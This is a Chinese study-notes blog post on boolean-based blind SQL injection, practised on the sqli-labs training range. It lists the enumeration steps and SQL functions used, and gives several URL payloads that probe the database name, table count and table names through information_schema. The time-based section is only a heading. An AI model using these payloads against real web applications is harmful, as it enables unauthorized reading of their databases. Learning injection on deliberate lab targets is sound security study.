sql注入学习笔记(盲注)

根据sql-lab的靶场关卡,进行盲注的注入学习。

[网络安全]SQL盲注?这一篇就够了 - 秋说 - 博客园

这是参考的一篇大佬的文章。

盲注是指攻击者不能直接获取数据库中的信息,需要通过一些技巧来判断或推断出数据库中的数据。盲注主要分为布尔盲注和时间盲注两种

布尔盲注

以下是布尔盲注常见思路。

  1. 爆库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据值

判断注入点

可以使用and 1=1,发现能正常回应。但是输入 and 1=2,就无法回应。可以利用and的这个属性,来实现猜出来我们想要的信息。

常用函数

ascii()返回字符的ascii码,返回该字符对应的ascii码

可以用来爆破名称
    count():返回当前列的记录数量

SELECT COUNT(列名) FROM table_name; 若列名是*返回表记录数。
    case when (条件) then 代码1 else 代码2 end

条件成立,则执行代码1,否则执行代码2
代替substr的函数
    left(str,index)从左边第index开始截取
    right(str,index)从右边第index开始截取
    substring(str,index)从左边index开始截取
    mid(str,index,len)截取str从index开始,截取len的长度
    lpad(str,len,padstr)
    rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填
                        
原文链接:https://blog.csdn.net/c_programj/article/details/115557295

SUBSTR(string, start, length) 

截取string字符串,start是起始位置,length是长度。

 length(值或表达式)

用来判断某东西的长度。会写脚本可以一个个试。但是二分法显然更高效。

limit 1,2

1是起始,0是第一位。2是截获的长度。

实操

输入and 1=2无法出现东西,初步判断是布尔类型盲注。开始猜测数据库、表、列、数值。

要注意括号的用法,在 SQL 中,括号主要用于改变运算的优先级,就像在数学运算中一样,括号内的表达式会优先执行。我就是length后的select忘记整体加括号,导致一直嘟嘟嘟报错,郁闷死了。

?id=1' and length(database()) = 8--+
#判断数据库长度有8位(其实我们知道肯定是security)
?id=1' and (select COUNT(*) from information_schema.tables where table_schema="security") =4--+
#爆出来有4个表,逐个爆出表长度和名字
id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) >2 --+
#上面是只爆一个表
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
#上面是爆所有的表
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='u' 
#爆名字

后面的操作和这些大同小异。就不再赘述。现在回头看,相比sql注入也就是多了几个函数。

时间盲注

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值